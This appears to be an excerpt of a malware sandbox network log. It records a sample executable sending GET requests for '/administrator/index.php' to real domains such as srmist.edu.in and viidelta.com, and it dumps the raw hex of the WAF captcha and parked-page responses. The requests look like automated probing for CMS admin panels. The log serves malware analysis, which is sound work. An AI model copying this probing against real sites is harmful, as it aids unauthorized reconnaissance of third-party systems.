65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 41 72 69 61 6c 22 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 77 73 57 61 66 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 4c 69 73 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 67 6f 6b 75 50 72 6f 70 73 20 3d 20 7b 0a 22 6b 65 79 22 3a 22 41 51 49 44 41 48 6a 63 59 75 2f 47 6a 58 2b 51 6c 67 68 69 63 42 67 51 2f 37 62 46 61 51 5a 2b 6d 35 46 4b 43 4d 44 6e 4f 2b 76 54 62 4e 67 39 36 41 46 34 6e 42 4c 62 4c 41 66 34 42 63 63 58 76 47 4c 61 46 43 62 69 41 41 41 41 66 6a 42 38 42 67 6b 71 68 6b 69 47 39 77 30 42 42 77 61 67 62 7a 42 74 41 67 45 41 4d 47 67 47 43 53 71 47 53 49 62 33 44 51 45 48 41 54 41 65 42 67 6c 67 68 6b 67 42 5a 51 4d 45 41 53 34 77 45 51 51 4d 33 6a 7a 69 7a 57 69 33 7a 5a 65 49 65 73 63 49 41 67 45 51 67 44 74 6d 54 4c 35 56 5a 2f 62 41 50 6a 55 5a 47 47 4d 76 6e 48 70 35 75 72 49 71 64 4f 43 6e 43 6b 31 64 57 6b 77 4e 6c 64 67 6b 56 46 75 73 63 57 76 46 2b 76 56 31 2f 72 79 4e 57 4a 6d 45 63 74 4d 56 31 61 70 56 53 55 72 6b 63 39 39 35 30 51 3d 3d 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 69 76 22 3a 22 43 67 41 45 35 77 7a 48 61 4e 41 41 41 41 4b 30 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 63 6f 6e 74 65 78 74 22 3a 22 2b 71 45 74 67 54 58 43 30 4e 53 76 49 2f 46 35 30 48 39 38 35 6c 72 73 6a 37 63 67 58 6d 45 41 38 34 66 46 65 4a 37 6b 69 2f 37 31 74 75 2b 38 6f 2f 59 73 32 66 64 45 51 53 54 42 6b 63 6a 35 6f 73 38 41 30 44 78 46 43 30 2f 73 71 57 73 75 6a 2b 62 55 76 30 7a 73 53 43 57 37 6c 43 68 5a 68 6d 4f 46 46 68 79 7a 63 7a 44 5a 6b 4f 69 6a 4a 53 6c 48 70 38 30 69 4f 6d 33 68 68 4f 38 73 35 79 76 54 6f 2f 54 70 59 73 77 4f 68 46 4c 39 32 38 50 62 59 61 75 34 59 34 6f 35 33 67 78 38 39 49 7a 46 35 35 41 58 72 4d 67 72 77 67 51 61 58 37 50 61 67 44 7a 67 50 30 6d 66 4b 68 46 76 47 74 74 74 4a 39 30 74 58 38 6e 78 44 7a 61 7a 58 4f 30 52 48 51 58 47 69 57 70 75 75 48 74 4b 30 72 47 35 54 78 59 41 53 6a 78 34 70 52 79 70 49 50 7a 73 41 50 65 36 63 52 53 6d 58 37 33 2f 34 48 78 51 4e 70 4e 70 39 78 43 67 5a 65 51 63 46 43 4a 33 4e 4b 42 44 61 43 39 70 70 65 61 30 57 33 4c 70 58 76 51 66 55 2b 4e 69 6e 71 32 66 78 4f 6d 6d 2f 35 30 44 50 55 70 34 52 30 69 50 4f 38 76 70 49 53 66 58 75 68 64 59 36 43 4e 6c 57 79 49 33 74 59 51 53 35 36 68 51 74 65 4b 70 6d 4b 30 6b 62 50 65 65 4f 59 45 3d 22 0a 7d 3b 0a 20 20 20 20 3c Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Human Verification</title> <style> body { font-family: "Arial"; } </style> <script type="text/javascript"> window.awsWafCookieDomainList = []; window.gokuProps = {"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AF4nBLbLAf4BccXvGLaFCbiAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM3jzizWi3zZeIescIAgEQgDtmTL5VZ/bAPjUZGGMvnHp5urIqdOCnCk1dWkwNldgkVFuscWvF+vV1/ryNWJmEctMV1apVSUrkc9950Q==", "iv":"CgAE5wzHaNAAAAK0", "context":"+qEtgTXC0NSvI/F50H985lrsj7cgXmEA84fFeJ7ki/71tu+8o/Ys2fdEQSTBkcj5os8A0DxFC0/sqWsuj+bUv0zsSCW7lChZhmOFFhyzczDZkOijJSlHp80iOm3hhO8s5yvTo/TpYswOhFL928PbYau4Y4o53gx89IzF55AXrMgrwgQaX7PagDzgP0mfKhFvGtttJ90tX8nxDzazXO0RHQXGiWpuuHtK0rG5TxYASjx4pRypIPzsAPe6cRSmX73/4HxQNpNp9xCgZeQcFCJ3NKBDaC9ppea0W3LpXvQfU+Ninq2fxOmm/50DPUp4R0iPO8vpISfXuhdY6CNlWyI3tYQS56hQteKpmK0kbPeeOYE="}; <
Nov 26, 2023 06:59:31.707756042 CET	1054	IN	Data Raw: 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 33 38 63 39 31 33 66 35 39 64 66 66 2e 32 64 64 32 30 38 30 66 2e 61 70 2d 73 6f 75 74 68 2d 31 2e 74 6f 6b 65 6e 2e 61 77 73 77 61 66 2e 63 6f Data Ascii: /script> <script src="https://38c913f59dff.2dd2080f.ap-south-1.token.awswaf.com/38c913f59dff/5b5c81627d9b/f3e3dd915a24/challenge.js"></script> <script src="https://38c913f59dff.2dd2080f.ap-south-1.captcha.awswaf.com/38c913f59dff/5b5c81
Nov 26, 2023 06:59:31.709340096 CET	286	OUT	GET /administrator/index.php HTTP/1.1 Host: srmist.edu.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://srmist.edu.in/administrator/
Nov 26, 2023 06:59:31.999752998 CET	1340	IN	HTTP/1.1 405 Not Allowed Server: awselb/2.0 Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Length: 2051 Connection: keep-alive x-amzn-waf-action: captcha Cache-Control: no-store, max-age=0 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 75 6d 61 6e 20 56 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 41 72 69 61 6c 22 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 77 73 57 61 66 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 4c 69 73 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 67 6f 6b 75 50 72 6f 70 73 20 3d 20 7b 0a 22 6b 65 79 22 3a 22 41 51 49 44 41 48 6a 63 59 75 2f 47 6a 58 2b 51 6c 67 68 69 63 42 67 51 2f 37 62 46 61 51 5a 2b 6d 35 46 4b 43 4d 44 6e 4f 2b 76 54 62 4e 67 39 36 41 46 34 6e 42 4c 62 4c 41 66 34 42 63 63 58 76 47 4c 61 46 43 62 69 41 41 41 41 66 6a 42 38 42 67 6b 71 68 6b 69 47 39 77 30 42 42 77 61 67 62 7a 42 74 41 67 45 41 4d 47 67 47 43 53 71 47 53 49 62 33 44 51 45 48 41 54 41 65 42 67 6c 67 68 6b 67 42 5a 51 4d 45 41 53 34 77 45 51 51 4d 33 6a 7a 69 7a 57 69 33 7a 5a 65 49 65 73 63 49 41 67 45 51 67 44 74 6d 54 4c 35 56 5a 2f 62 41 50 6a 55 5a 47 47 4d 76 6e 48 70 35 75 72 49 71 64 4f 43 6e 43 6b 31 64 57 6b 77 4e 6c 64 67 6b 56 46 75 73 63 57 76 46 2b 76 56 31 2f 72 79 4e 57 4a 6d 45 63 74 4d 56 31 61 70 56 53 55 72 6b 63 39 39 35 30 51 3d 3d 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 69 76 22 3a 22 43 67 41 41 30 41 79 76 32 6f 41 41 41 41 34 36 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 63 6f 6e 74 65 78 74 22 3a 22 77 62 4c 67 44 6f 36 50 71 2f 74 4e 48 2b 77 4f 4a 78 35 4d 7a 47 72 48 72 4e 71 76 2f 35 77 70 72 6a 6d 6f 63 4b 63 50 50 56 5a 4d 41 52 6a 36 63 64 56 73 73 71 72 31 47 71 5a 42 6f 62 43 65 38 43 36 71 75 59 42 6a 49 75 66 62 51 6f 36 63 49 64 33 4c 49 4b 69 77 69 49 6e 72 4c 7a 2b 72 43 41 67 68 53 39 30 61 71 43 7a 33 4a 72 42 50 77 6d 39 55 41 71 6c 66 6e 65 4a 33 39 56 49 30 49 70 76 6d 64 4d 74 7a 35 49 57 6f 55 32 73 52 53 45 75 5a 78 34 53 76 58 39 46 45 2b 33 48 44 78 78 59 61 76 7a 4f 2f 6a 6a 37 50 51 51 54 76 7a 36 34 7a 6f 52 42 6a 50 45 65 6a 47 6f 48 7a 71 54 2b 56 43 6d 2f 50 76 53 67 64 77 74 4c 61 4c 67 55 59 79 39 34 4c 43 7a 44 62 65 34 34 76 67 5a 59 39 69 53 72 50 43 7a 6e 51 74 35 4f 34 6b 47 68 6b 46 4c 32 69 75 79 47 6a 2b 75 63 31 44 58 32 2b 6f 4d 7a 75 2f 4c 47 75 6e 4e 6c 31 54 6c 74 67 36 6e 4e 55 51 6c 30 35 68 41 6e 75 63 4f 62 71 6f 78 77 68 2b 59 64 55 75 6f 5a 57 66 57 45 36 47 70 69 42 76 6c 37 36 77 6c 58 56 47 54 71 6a 30 2b 61 49 66 4c 6e 41 5a 4f 54 4f 4f 39 6e 61 71 79 43 50 69 73 37 6b 51 49 6e 6a 78 5a 6f 59 37 36 4c 2f 5a 55 51 3d 22 0a 7d 3b 0a 20 20 20 20 3c Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Human Verification</title> <style> body { font-family: "Arial"; } </style> <script type="text/javascript"> window.awsWafCookieDomainList = []; window.gokuProps = {"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AF4nBLbLAf4BccXvGLaFCbiAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM3jzizWi3zZeIescIAgEQgDtmTL5VZ/bAPjUZGGMvnHp5urIqdOCnCk1dWkwNldgkVFuscWvF+vV1/ryNWJmEctMV1apVSUrkc9950Q==", "iv":"CgAA0Ayv2oAAAA46", "context":"wbLgDo6Pq/tNH+wOJx5MzGrHrNqv/5wprjmocKcPPVZMARj6cdVssqr1GqZBobCe8C6quYBjIufbQo6cId3LIKiwiInrLz+rCAghS90aqCz3JrBPwm9UAqlfneJ39VI0IpvmdMtz5IWoU2sRSEuZx4SvX9FE+3HDxxYavzO/jj7PQQTvz64zoRBjPEejGoHzqT+VCm/PvSgdwtLaLgUYy94LCzDbe44vgZY9iSrPCznQt5O4kGhkFL2iuyGj+uc1DX2+oMzu/LGunNl1Tltg6nNUQl05hAnucObqoxwh+YdUuoZWfWE6GpiBvl76wlXVGTqj0+aIfLnAZOTOO9naqyCPis7kQInjxZoY76L/ZUQ="}; <
Nov 26, 2023 06:59:31.999771118 CET	1054	IN	Data Raw: 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 33 38 63 39 31 33 66 35 39 64 66 66 2e 32 64 64 32 30 38 30 66 2e 61 70 2d 73 6f 75 74 68 2d 31 2e 74 6f 6b 65 6e 2e 61 77 73 77 61 66 2e 63 6f Data Ascii: /script> <script src="https://38c913f59dff.2dd2080f.ap-south-1.token.awswaf.com/38c913f59dff/5b5c81627d9b/f3e3dd915a24/challenge.js"></script> <script src="https://38c913f59dff.2dd2080f.ap-south-1.captcha.awswaf.com/38c913f59dff/5b5c81

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	55824	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.419913054 CET	284	OUT	GET /administrator/index.php HTTP/1.1 Host: viidelta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://viidelta.com/administrator/
Nov 26, 2023 06:59:31.605175972 CET	1340	IN	HTTP/1.1 200 OK Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-UD-METHOD: vm_construction Server: UD Forwarding 3.1 Data Raw: 32 33 32 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 69 65 72 20 65 6e 74 73 74 65 68 74 20 76 69 69 64 65 6c 74 61 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 48 4f 52 54 43 55 54 20 49 43 4f 4e 22 20 68 72 65 66 3d 22 2f 67 66 78 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 74 69 74 6c 65 3e 76 69 69 64 65 6c 74 61 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 62 6f 64 79 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 62 66 62 66 62 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 77 41 41 41 50 2b 43 41 4d 41 41 41 41 49 47 51 35 61 41 41 41 44 41 46 42 4d 56 45 58 36 2b 76 72 36 2b 76 6e 35 2b 76 72 35 2b 76 6e 36 2b 66 72 36 2b 66 6e 35 2b 66 6e 34 2b 50 6a 34 2b 50 66 33 2b 50 6a 33 2b 50 66 34 39 2f 6a 33 39 2f 66 33 39 2f 62 32 39 76 62 32 39 76 58 31 39 76 62 31 39 76 58 32 39 66 62 31 39 66 58 31 39 66 54 30 39 50 54 30 39 50 50 7a 39 50 54 7a 39 50 50 30 38 2f 54 30 38 2f 50 7a 38 2f 50 79 38 76 4c 79 38 76 48 78 38 76 48 79 38 66 4c 78 38 66 48 78 38 50 48 77 38 50 44 77 38 4f 2f 76 38 50 44 76 38 4f 2f 77 37 2f 44 77 37 2b 2f 76 37 2b 2f 75 37 75 37 75 37 75 33 74 37 75 33 75 37 65 37 75 37 65 33 74 37 65 33 73 37 4f 7a 73 37 4f 76 72 37 4f 7a 72 37 4f 76 73 36 2b 7a 72 36 2b 76 72 36 2b 72 71 36 75 72 71 36 75 6e 70 36 75 72 70 36 75 6e 71 36 65 6e 70 36 65 6e 70 36 4f 6e 6f 36 4f 6a 6f 36 4f 66 6e 36 4f 6a 6e 36 4f 66 6f 35 2b 6a 6f 35 2b 66 6e 35 2b 66 6d 35 75 62 6d 35 75 58 6c 35 75 62 6c 35 75 58 6d 35 65 62 6d 35 65 58 6c 35 65 58 6b 35 4f 54 6b 35 4f 50 6a 35 4f 54 6a 35 4f 50 6b 34 2b 54 6a 34 2b 50 6a 34 2b 4c 69 34 75 4c 69 34 75 48 68 34 75 4c 68 34 75 48 69 34 65 4c 69 34 65 48 68 34 65 48 67 34 4f 44 67 34 4e 2f 66 34 4f 44 67 33 2b 44 66 33 39 2f 66 33 39 37 65 33 74 37 65 33 74 33 64 33 74 37 65 33 64 37 64 33 64 33 64 33 64 7a 63 33 4e 7a 63 33 4e 76 62 33 4e 7a 62 33 4e 76 63 32 39 7a 62 32 39 76 62 32 39 72 61 32 74 72 61 32 74 6e 5a 32 74 72 61 32 64 72 61 32 64 6e 59 32 74 6e 5a 32 64 6e 59 32 4e 6a 59 32 4e 66 58 32 4e 6a 58 32 4e 66 59 31 39 6a 58 31 39 66 58 31 39 62 57 31 74 62 57 31 74 58 56 31 74 62 56 31 74 58 57 31 64 62 57 31 64 58 56 31 64 58 55 31 4e 54 55 31 4e 50 54 31 4e 54 54 31 4e 50 55 30 39 54 55 30 39 50 54 30 39 50 53 30 74 4c 53 30 74 48 52 30 74 4c 52 30 74 48 53 30 64 4c 53 30 64 48 52 30 64 48 51 30 4e 44 51 30 4d 2f 50 30 4e 44 50 30 4d 2f 51 7a 39 44 50 7a 38 2f 50 7a 38 37 4e 7a 63 33 4d 7a 4d 33 4d Data Ascii: 23223<!DOCTYPE html><html lang="de"><head><meta name="description" content="Hier entsteht viidelta.com"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="SHORTCUT ICON" href="/gfx/favicon.ico"><title>viidelta.com</title><style>*{margin:0;padding:0}html,body{height:100%;background-color:#fbfbfb}body{font-family:Arial,Verdana,sans-serif;text-align:center;margin:0 auto;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAP+CAMAAAAIGQ5aAAADAFBMVEX6+vr6+vn5+vr5+vn6+fr6+fn5+fn4+Pj4+Pf3+Pj3+Pf49/j39/f39/b29vb29vX19vb19vX29fb19fX19fT09PT09PPz9PTz9PP08/T08/Pz8/Py8vLy8vHx8vHy8fLx8fHx8PHw8PDw8O/v8PDv8O/w7/Dw7+/v7+/u7u7u7u3t7u3u7e7u7e3t7e3s7Ozs7Ovr7Ozr7Ovs6+zr6+vr6+rq6urq6unp6urp6unq6enp6enp6Ono6Ojo6Ofn6Ojn6Ofo5+jo5+fn5+fm5ubm5uXl5ubl5uXm5ebm5eXl5eXk5OTk5OPj5OTj5OPk4+Tj4+Pj4+Li4uLi4uHh4uLh4uHi4eLi4eHh4eHg4ODg4N/f4ODg3+Df39/f397e3t7e3t3d3t7e3d7d3d3d3dzc3Nzc3Nvb3Nzb3Nvc29zb29vb29ra2tra2tnZ2tra2dra2dnY2tnZ2dnY2NjY2NfX2NjX2NfY19jX19fX19bW1tbW1tXV1tbV1tXW1dbW1dXV1dXU1NTU1NPT1NTT1NPU09TU09PT09PS0tLS0tHR0tLR0tHS0dLS0dHR0dHQ0NDQ0M/P0NDP0M/Qz9DPz8/Pz87Nzc3MzM3M
Nov 26, 2023 06:59:31.605187893 CET	1340	IN	Data Raw: 7a 4d 7a 4d 79 38 7a 4c 79 38 76 4b 79 38 72 4a 79 63 6e 49 79 4d 6a 48 79 4d 6e 48 79 4d 66 49 78 38 6a 48 78 38 66 48 78 38 62 46 78 63 58 45 78 4d 58 45 78 4d 54 44 78 4d 50 45 77 38 54 45 77 38 50 44 77 38 50 42 77 63 48 41 77 4d 48 41 77 4d Data Ascii: zMzMy8zLy8vKy8rJycnIyMjHyMnHyMfIx8jHx8fHx8bFxcXExMXExMTDxMPEw8TEw8PDw8PBwcHAwMHAwMC/wL/Av8DAv7+/v7++vr6+vr29vr69vr2+vb69vb29vby8vLy8vLu7vLy8u7y7u7u7u7q7urq5ubm4uLi3uLi3uLe4t7i4t7e3t7e2tra2trW1tra1trW2tba1tbW1tbS0tLS0tLOztLSztLO0s7S0s7Ozs7OysrK
Nov 26, 2023 06:59:31.605212927 CET	1340	IN	Data Raw: 2b 34 6d 37 43 46 42 77 68 76 6a 43 4b 47 41 75 36 6b 2f 4e 6c 6c 50 45 37 63 43 39 79 70 69 2b 6b 34 4f 72 39 35 66 30 56 67 30 7a 33 72 68 32 4e 79 59 45 50 61 4f 4f 67 77 63 68 69 47 58 39 51 6b 70 6b 47 6c 43 6f 65 77 6a 46 77 54 67 31 57 53 Data Ascii: +4m7CFBwhvjCKGAu6k/NllPE7cC9ypi+k4Or95f0Vg0z3rh2NyYEPaOOgwchiGX9QkpkGlCoewjFwTg1WSWd5kdC2o2BDZUEBb7rQJI4SGZy1wN9G0ApoYWu9znB6ys5mXgnaZHUTBrsjt6ApvMr21VUrznKBuKiefMsyOrw6WYJ3YkW+MWwFVc3DtgHChXYWiKcJOtFd2Rxfs6LXDh8ebIkTjbjeQLdnI9BR6yEazqfpmm3gX2
Nov 26, 2023 06:59:31.605226040 CET	1340	IN	Data Raw: 66 52 47 39 48 62 45 4b 61 39 58 6c 35 5a 30 58 47 77 70 69 34 78 65 54 4e 36 63 44 76 6f 58 4d 70 47 70 6d 73 7a 34 74 50 71 62 50 6a 59 6a 74 30 63 72 64 5a 74 31 69 77 53 33 5a 70 75 63 6d 77 49 48 6b 49 4e 74 6f 73 63 6c 75 30 6c 4c 58 75 55 Data Ascii: fRG9HbEKa9Xl5Z0XGwpi4xeTN6cDvoXMpGpmsz4tPqbPjYjt0crdZt1iwS3ZpucmwIHkINtosclu0lLXuU9I7NdYnnfmTxPXq40H2NK0mnvWHCL+kCFOtyrWjGdJNOEFO5SVlriQ2SdQD/yIaVPPSf4bb/5DMJE6EJG5m6t/TZTv65mqg8SGi2UQFXWR1LYvlLmvMOaKJ1GITEyLNP2i4oCmqp/jnBjKtjztg0aWcwb/o990mKD
Nov 26, 2023 06:59:31.605238914 CET	1340	IN	Data Raw: 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 71 41 41 41 41 4b 33 43 41 4d 41 41 41 42 74 4d 51 33 55 41 41 41 42 67 46 42 4d 56 45 55 41 41 41 44 52 30 64 48 2f 2f 2f 2b 78 73 62 48 2f 2f 2f 2b 71 71 71 72 35 2b 66 6d 71 71 71 71 6f 71 Data Ascii: KGgoAAAANSUhEUgAAAqAAAAK3CAMAAABtMQ3UAAABgFBMVEUAAADR0dH///+xsbH///+qqqr5+fmqqqqoqKj6+vqrq6v4+PipqamoqKj5+fmoqKjQ0NCnp6enp6f6+vqmpqbX19enp6enp6dlY2H7+/unp6empqbc3NzFxcX8/Pynp6empqazs7ODg4L6+vrBwcGmpqbR0dHc3NyqeF9fXl6mpqb7+/tcOx6mpqbS0tLe3t6+vb
Nov 26, 2023 06:59:31.605252028 CET	1340	IN	Data Raw: 4e 46 41 45 7a 6f 68 31 46 55 55 4e 44 48 51 56 47 6f 51 68 55 74 46 59 30 48 6f 41 7a 6a 78 69 6c 48 6f 35 4d 77 30 4e 4b 4f 4a 47 35 34 6a 6e 67 52 34 49 70 35 4b 52 66 73 59 54 6c 68 4e 58 30 34 4b 56 62 71 42 55 30 76 79 53 4f 76 67 47 67 66 Data Ascii: NFAEzoh1FUUNDHQVGoQhUtFY0HoAzjxilHo5Mw0NKOJG54jngR4Ip5KRfsYTlhNX04KVbqBU0vySOvgGgfGtURrOh+RHXA7Q0oVMFqgSR8Lp2G5yEsHrM5HOcuIoqJJRJOAjkBAIYTW1Is8HpgamSPGQYkHTYOTXwkXUL5KtB9EoTMZeCbz0u54BpveeCIvCVKKu1nNCw5l8MgpvOqaI0phB1TElFp/9fJ5cjadb80NPBWmoJFD
Nov 26, 2023 06:59:31.605323076 CET	1340	IN	Data Raw: 55 77 6c 61 33 6f 63 71 45 45 4b 30 34 66 66 42 5a 53 6f 36 6e 45 74 62 53 71 59 4e 76 78 65 55 54 4f 6d 6c 2f 66 50 4a 35 68 6b 65 79 32 2b 33 4c 55 30 6d 76 61 33 75 71 6c 34 6f 64 6d 33 44 46 6b 70 78 30 47 61 59 6c 77 44 4d 34 36 78 6e 31 2b Data Ascii: Uwla3ocqEEK04ffBZSo6nEtbSqYNvxeUTOml/fPJ5hkey2+3LU0mva3uql4odm3DFkpx0GaYlwDM46xn1+6roqDNKiedkuBV4WtJ6LsrbgEGoz0Ojh0t0Mm0yOmlGTUHtxrxZ7OIVGIzaBgk6S/28K/AjzCgz4KmsqO+3Qyl+w2cFwl46M3sXZJJYOYVLNBUn6WSvpLnUX5WI2tNOWJrRdfMmH4pS5J8vjFLm09C+Q5Qqj3XPjs
Nov 26, 2023 06:59:31.605334997 CET	1340	IN	Data Raw: 57 2b 47 4e 5a 66 38 2b 36 6e 75 6d 75 4c 6a 34 6c 73 31 62 53 4e 4a 64 58 2f 39 66 54 4f 55 6d 45 42 35 38 6c 5a 58 64 58 56 2f 64 70 57 46 54 68 51 30 61 37 57 39 32 36 72 43 71 55 75 49 34 6d 66 72 66 47 69 39 43 61 52 64 6d 4e 38 73 53 75 7a Data Ascii: W+GNZf8+6numuLj4ls1bSNJdX/9fTOUmEB58lZXdXV/dpWFThQ0a7W926rCqUuI4mfrfGi9CaRdmN8sSuzqAF749AacZD6tad0nJpCKb0c82zJP8OxSnUjnocNqZzCYYY2nceWWmfUvGJacIqcofR/ck8EvCSVeyioqq582rBfoqeWVUvuiQrQpspdVT1XQImW/Ue/e7z7S8D0IFSv8u5nuiEM4NTW/3saxqu2UWiQ6JpQm0hKG
Nov 26, 2023 06:59:31.605346918 CET	1340	IN	Data Raw: 4f 78 6a 69 62 39 58 6a 67 35 6e 31 70 4b 51 71 6a 4e 63 36 65 6b 49 6d 68 71 73 4f 6e 69 65 57 5a 71 42 78 41 41 71 4d 51 4b 6f 69 57 56 61 4c 73 39 71 78 4b 37 43 58 5a 39 4d 65 57 35 56 6c 4a 59 67 45 4a 52 6c 65 49 36 76 78 7a 78 53 61 6d 61 Data Ascii: Oxjib9Xjg5n1pKQqjNc6ekImhqsOnieWZqBxAAqMQKoiWVaLs9qxK7CXZ9MeW5VlJYgEJRleI6vxzxSamaPoD2gmbXVq+3/BG+KvWzTbXFtTZcPLJ2SfjfvjIA3RmcleM+ihZfaGTAR2tfHzcxMvXaftcbV/NRL0zDdW5aBsp6cFNmmrCvSuh2cX3G5D09JB6/kn8HpXJtFI9vQWe6GeX9uyynrrSLoYXBc/SgI4GcydnZ2dTQe
Nov 26, 2023 06:59:31.605360031 CET	1340	IN	Data Raw: 48 2f 33 4d 5a 6d 71 4a 2f 58 4a 69 71 66 33 54 47 66 6c 33 2f 45 31 78 62 4a 37 58 34 78 4d 67 39 47 36 51 69 6b 34 78 53 41 69 41 65 4f 44 47 4a 6f 70 67 43 34 4e 54 44 47 4e 2f 47 6b 64 6f 76 31 4b 61 48 4c 77 50 71 36 64 50 41 74 31 72 49 30 Data Ascii: H/3MZmqJ/XJiqf3TGfl3/E1xbJ7X4xMg9G6Qik4xSAiAeODGJopgC4NTDGN/Gkdov1KaHLwPq6dPAt1rI0onmYZ0WJHcl++XG32VDpLD58ldKN7jIG0m4HOi+lnWj6C0EZA2+ySxkcSHtWJ+WyLdaKcjySACSO4wU56QEVEV7zmS/x93GBTKe13LoejB04egRREmx1LRPM53dSJqA9uLINXGz27Nc9MaVLQ1rsnDZXyT/SzzC5x
